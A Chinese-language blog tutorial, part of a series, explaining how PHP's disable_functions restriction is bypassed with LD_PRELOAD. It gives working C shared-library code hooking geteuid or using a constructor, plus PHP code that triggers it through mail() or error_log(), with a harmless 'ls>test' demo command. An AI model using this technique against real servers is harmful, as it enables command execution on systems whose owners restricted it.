主页 > 网络知识 > php中函数禁用绕过的原理与利用(5)

php中函数禁用绕过的原理与利用(5)

 

image.png

 

可以看到这里调用了sendmail,与网上的文章同样的我们可以追踪sendmail来查看其调用过程,或者使用readelf可以查看其使用函数:

strace sendmail

 

image.png

 

那么以上面的方式编写并编译一个动态链接库然后利用LD_PRELOAD去执行我们的命令,这就是老套路的利用。

因为没有回显,为方便查看效果我写了一个ls>test,因此hack.c如下:

#include <stdlib.h> #include <dlfcn.h> #include <unistd.h> #include <sys/types.h> uid_t geteuid( void ) { system("ls>test"); return 0; } uid_t getuid( void ) { return 1; } uid_t getgid( void ) { return 0; }

同样的gcc编译后,页面写入如下:

<?php putenv("LD_PRELOAD=./hack.so"); mail("","","",""); ?>

访问页面得到运行效果如下:

 

image.png

 

再提一个我在利用过程中走错的点,这里为测试,我换用一台没有sendmail的ubuntu:

 

image.png

 

但如果我们按照上面的步骤直接追踪index的执行而不过滤选取execve会发现同样存在着geteuid,并且但这事实上是sh调用的而非mail调用的,因此如果我们使用php index.php来调用会发现system执行成功,但如果我们通过页面来访问则会发现执行失败,这是一个在利用过程中需要注意的点,这也就是为什么我们会使用管道符来选取execve。

第一个execve为php解释器启动的进程,而后者即为我们所需要的sendmail子进程。

error_log

同样的除了mail会调用sendmail之外,还有error_log也会调用,如图:

 

image-20201201142219198

image.png

 

ps:当error_log的type为1时就会调用到sendmail。

因此上面针对于mail函数的套路对于error_log同样适用,however,我们会发现此类劫持都只是针对某一个函数,而前面所做的都是依赖与sendmail,而像目标机器如果不存在sendmail,那么前面的做法就完全无用。

yangyangwithgnu师傅在其文无需sendmail:巧用LD_PRELOAD突破disable_functions提到了我们不要局限于仅劫持某一函数,而应考虑劫持共享对象

劫持共享对象

文中使用到了如下代码编写的库:

#define _GNU_SOURCE #include <stdlib.h> #include <unistd.h> #include <sys/types.h> __attribute__ ((__constructor__)) void anything (void){     unsetenv("LD_PRELOAD");     system("ls>test"); }

那么关于__attribute__ ((__constructor__))个人理解是其会在共享库加载时运行,也就是程序启动时运行,那么这一步的利用同样需要有前面说到的启动子进程这一个大前提,也就是需要有类似于mail、Imagick可以令php解释器启动新进程的函数。

同样的将LD_PRELOAD指定为gcc编译的共享库,然后访问页面查看,会发现成功将ls写到test下(如果失败请检查写权限问题)

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!